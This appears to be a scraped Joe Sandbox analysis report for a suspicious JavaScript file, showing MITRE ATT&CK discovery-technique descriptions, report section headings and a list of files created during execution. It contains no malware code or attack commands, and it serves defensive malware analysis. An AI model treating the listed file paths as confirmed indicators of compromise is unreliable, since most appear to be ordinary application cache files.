Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 256361061998227470.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2e68f7f2-6593-40ba-a9a0-665685f99225.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3060

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
256361061998227470.js